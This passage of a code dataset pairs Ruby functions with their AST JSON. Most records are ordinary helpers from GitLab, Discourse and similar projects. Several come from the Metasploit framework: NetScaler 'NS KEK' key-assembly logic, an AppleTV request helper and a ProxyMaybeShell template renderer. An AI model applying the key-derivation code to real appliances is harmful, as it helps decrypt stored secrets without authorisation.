data\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"NS_KEK_F2\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f1_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f1_hex\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[66]},{\"type\":\"int\",\"children\":[130]}]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f2_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f2_hex\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[70]},{\"type\":\"int\",\"children\":[134]}]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f1_key_hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f1_key\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"f2_key_hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f2_key\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"NS KEK F1\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t HEX: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f1_key_hex\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"NS KEK F2\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t HEX: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f2_key_hex\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ns_kek_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"hexdigest\",{\"type\":\"str\",\"children\":[\"SHA256\"]},{\"type\":\"lvar\",\"children\":[\"f2_key\"]},{\"type\":\"lvar\",\"children\":[\"f1_key\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ns_kek_key_hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ns_kek_key\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Assembled NS KEK AES key\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t HEX: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ns_kek_key_hex\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"f714ac08-ad5d-4209-9800-6410ebdb033a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/table_component.rb","start_line":114,"raw_source":"def sort_criteria\n    helpers.instance_variable_get(:@sort_criteria)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_criteria\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@sort_criteria\"]}]}]}","id":"655c70d4-fa56-4a79-9b97-7a4824e00f33"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb","start_line":19,"raw_source":"def print_good(*args)\n    output.print_good(*args)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print_good\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"90b43070-1436-4b70-bbd9-23acb21a39e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/dropdowns_helper.rb","start_line":87,"raw_source":"def dropdown_title(title, options: {})\n    has_back = options.fetch(:back, false)\n    has_close = options.fetch(:close, true)\n\n    container_class = %w[dropdown-title gl-flex]\n    margin_class = []\n\n    if has_back && has_close\n      container_class << 'gl-justify-between'\n    elsif has_back\n      margin_class << 'gl-mr-auto'\n    elsif has_close\n      margin_class << 'gl-ml-auto'\n    end\n\n    container_class = container_class.join(' ')\n    margin_class = margin_class.join(' ')\n\n    content_tag :div, class: container_class do\n      title_output = []\n\n      if has_back\n        title_output << content_tag(:button, class: \"dropdown-title-button dropdown-menu-back #{margin_class}\",\n          aria: { label: \"Go back\" }, type: \"button\") do\n          sprite_icon('arrow-left')\n        end\n      end\n\n      title_output << content_tag(:span, title, class: margin_class)\n\n      if has_close\n        title_output << content_tag(:button, class: \"dropdown-title-button dropdown-menu-close #{margin_class}\",\n          aria: { label: \"Close\" }, type: \"button\") do\n          sprite_icon('close', size: 16, css_class: 'dropdown-menu-close-icon')\n        end\n      end\n\n      title_output.join.html_safe\n    end\n  end","complexity_score":40.95,"ast_json":"{\"type\":\"def\",\"children\":[\"dropdown_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"has_back\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"back\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_close\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"close\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container_class\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"dropdown-title\"]},{\"type\":\"str\",\"children\":[\"gl-flex\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"margin_class\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_back\"]},{\"type\":\"lvar\",\"children\":[\"has_close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_class\"]},\"<<\",{\"type\":\"str\",\"children\":[\"gl-justify-between\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_back\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"margin_class\"]},\"<<\",{\"type\":\"str\",\"children\":[\"gl-mr-auto\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"margin_class\"]},\"<<\",{\"type\":\"str\",\"children\":[\"gl-ml-auto\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_class\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"margin_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"margin_class\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"container_class\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title_output\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_back\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title_output\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"dropdown-title-button dropdown-menu-back \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"margin_class\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"Go back\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"button\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"str\",\"children\":[\"arrow-left\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title_output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"margin_class\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title_output\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"dropdown-title-button dropdown-menu-close \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"margin_class\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"Close\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"button\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"str\",\"children\":[\"close\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"str\",\"children\":[\"dropdown-menu-close-icon\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title_output\"]},\"join\"]},\"html_safe\"]}]}]}]}]}","id":"7205d4de-bd28-4a5f-9a35-0de2843b894e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/load_balancer.rb","start_line":57,"raw_source":"def self.load_balancer_class_factory(load_balancer_manager)\n    \"#{load_balancer_manager.class.name}::LoadBalancer\".constantize\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_balancer_class_factory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"load_balancer_manager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_balancer_manager\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"::LoadBalancer\"]}]},\"constantize\"]}]}","id":"21c21994-c343-4e28-b6db-75b1f0940bdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization.rb","start_line":95,"raw_source":"def owner_user_ids\n      # rubocop:disable Database/AvoidUsingPluckWithoutLimit -- few owners, and not used with IN clause\n      organization_users.owners.pluck(:user_id)\n      # rubocop:enable Database/AvoidUsingPluckWithoutLimit\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"owner_user_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_users\"]},\"owners\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}","id":"d71c67a0-3961-4524-b5e9-0934073d7053"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/package_finder.rb","start_line":5,"raw_source":"def initialize(project, package_id)\n      @project = project\n      @package_id = package_id\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"package_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@package_id\",{\"type\":\"lvar\",\"children\":[\"package_id\"]}]}]}]}","id":"a3ecd208-5dc8-40b1-8bfc-59632b291b08"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/appletv/appletv_display_video.rb","start_line":70,"raw_source":"def send_video_request(opts)\n    http = Rex::Proto::Http::Client.new(\n      rhost,\n      rport.to_i,\n      {\n        'Msf' => framework,\n        'MsfExploit' => self\n      },\n      ssl,\n      ssl_version,\n      proxies,\n      datastore['HttpUsername'],\n      datastore['HttpPassword']\n    )\n    add_socket(http)\n\n    http.set_config('agent' => datastore['UserAgent'])\n\n    req = http.request_raw(opts)\n    res = http.send_recv(req)\n    Rex.sleep(datastore['TIME']) if res.code == 200\n    http.close\n\n    res\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"send_video_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]},\"to_i\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"send\",\"children\":[null,\"ssl_version\"]},{\"type\":\"send\",\"children\":[null,\"proxies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_socket\",{\"type\":\"lvar\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"set_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserAgent\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request_raw\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"send_recv\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIME\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"close\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"0f61852e-536c-4bee-898c-e5ff070e0235"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/database_restorer.rb","start_line":130,"raw_source":"def self.psql_command\n      db_conf = BackupRestore.database_configuration\n\n      password_argument = \"PGPASSWORD='#{db_conf.password}'\" if db_conf.password.present?\n      host_argument = \"--host=#{db_conf.host}\" if db_conf.host.present?\n      port_argument = \"--port=#{db_conf.port}\" if db_conf.port.present?\n      username_argument = \"--username=#{db_conf.username}\" if db_conf.username.present?\n\n      [\n        password_argument, # pass the password to psql (if any)\n        \"psql\", # the psql command\n        \"--dbname='#{db_conf.database}'\", # connect to database *dbname*\n        \"--single-transaction\", # all or nothing (also runs COPY commands faster)\n        \"--variable=ON_ERROR_STOP=1\", # stop on first error\n        host_argument, # the hostname to connect to (if any)\n        port_argument, # the port to connect to (if any)\n        username_argument, # the username to connect as (if any)\n      ].compact.join(\" \")\n    end","complexity_score":27.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"psql_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupRestore\"]},\"database_configuration\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"password\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"password_argument\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PGPASSWORD='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"password\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"host\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"host_argument\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--host=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"host\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"port\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"port_argument\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--port=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"port\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"username\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"username_argument\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--username=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"username\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password_argument\"]},{\"type\":\"str\",\"children\":[\"psql\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--dbname='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_conf\"]},\"database\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"str\",\"children\":[\"--single-transaction\"]},{\"type\":\"str\",\"children\":[\"--variable=ON_ERROR_STOP=1\"]},{\"type\":\"lvar\",\"children\":[\"host_argument\"]},{\"type\":\"lvar\",\"children\":[\"port_argument\"]},{\"type\":\"lvar\",\"children\":[\"username_argument\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"fc21bec5-40a7-4d7f-9c0b-9d115e80c6c8"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/capture_test.rb","start_line":20,"raw_source":"def test_capture_to_variable_from_outer_scope_if_existing\n    template_source = <<~END_TEMPLATE\n      {% assign var = '' -%}\n      {% if true -%}\n        {% capture var %}first-block-string{% endcapture -%}\n      {% endif -%}\n      {% if true -%}\n        {% capture var %}test-string{% endcapture -%}\n      {% endif -%}\n      {{var-}}\n    END_TEMPLATE\n    assert_template_result(\"test-string\", template_source)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_capture_to_variable_from_outer_scope_if_existing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_source\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% assign var = '' -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{% if true -%}\\n\"]},{\"type\":\"str\",\"children\":[\"  {% capture var %}first-block-string{% endcapture -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{% endif -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{% if true -%}\\n\"]},{\"type\":\"str\",\"children\":[\"  {% capture var %}test-string{% endcapture -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{% endif -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{{var-}}\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"test-string\"]},{\"type\":\"lvar\",\"children\":[\"template_source\"]}]}]}]}","id":"7236c916-a8f3-46b4-ac69-e15e4162f37a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb","start_line":97,"raw_source":"def self.render(template_name, context = nil)\n      file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', \"#{template_name}.xml.erb\")\n      template = ::File.binread(file_path)\n      case context\n      when Hash\n        b = binding\n        locals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" }\n        b.eval(locals.join)\n      when NilClass\n        b = binding\n      else\n        raise ArgumentError\n      end\n      b.eval(Erubi::Engine.new(template).src)\n    end","complexity_score":35.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_name\"]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"proxymaybeshell\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_name\"]}]},{\"type\":\"str\",\"children\":[\".xml.erb\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\" = context[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"]; \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"eval\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locals\"]},\"join\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NilClass\"]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"eval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Erubi\"]},\"Engine\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]}]},\"src\"]}]}]}]}","id":"5730bc64-71d3-4b98-bad5-64264f7ed665"}
